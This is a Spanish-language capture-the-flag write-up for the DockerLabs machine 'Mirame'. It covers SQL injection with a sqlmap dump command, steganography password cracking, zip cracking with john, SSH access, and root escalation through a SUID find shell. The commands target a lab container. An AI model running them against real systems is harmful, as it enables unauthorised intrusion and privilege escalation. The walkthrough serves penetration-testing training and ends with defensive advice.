> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/mirame.md).
# Mirame
## Enumeración
Se comienza con un escaneo de puertos para identificar servicios activos.
Se detectan servicios como SSH y HTTP.
Posteriormente, se realiza un escaneo de directorios:
***
## SQL Injection
Se prueba una inyección SQL en el campo de usuario introduciendo `'`, lo que provoca un error en la base de datos, confirmando la vulnerabilidad.
Se utiliza sqlmap para extraer información:
```bash
sqlmap -u http://172.17.0.2/index.php --forms --dbs --batch --dump
```
Las credenciales obtenidas no permiten acceso, por lo que se continúa con la enumeración.
***
## Esteganografía
Se identifica una imagen sospechosa en la aplicación.
Se utiliza `stegcracker` para encontrar una contraseña:
```bash
stegcracker miramebien.jpg /usr/share/wordlists/rockyou.txt
```
Se obtiene la contraseña: **chocolate**
Se extrae el contenido oculto:
```bash
steghide extract -sf miramebien.jpg
```
Se obtiene un archivo comprimido protegido.
***
## Extracción de credenciales
Se intenta descomprimir el archivo, pero requiere contraseña.
Se utiliza `john` para crackear la contraseña:
Una vez extraído, se obtiene un archivo `secret.txt` con credenciales:
```
carlos:carlitos
```
***
## Acceso inicial
Se accede por SSH con las credenciales obtenidas.
***
## Escalada de privilegios
Se comprueba que el usuario no puede usar sudo:
Se buscan binarios SUID:
```bash
find / -perm -4000 2>/dev/null
```
Se identifica el binario `find` como vector de escalada.
Se utiliza el siguiente comando:
```bash
find . -exec /bin/sh \; -quit
```
***
## Acceso root
Se obtiene acceso root en el sistema.
***
## Conclusión
Esta máquina demuestra:
* Vulnerabilidades de SQL Injection
* Uso de esteganografía para ocultar información sensible
* Riesgos de contraseñas débiles
* Escalada de privilegios mediante binarios SUID
***
## Recomendaciones
* Validar correctamente entradas en aplicaciones web
* Evitar almacenar datos sensibles en imágenes
* Utilizar contraseñas robustas
* Auditar permisos SUID en el sistema
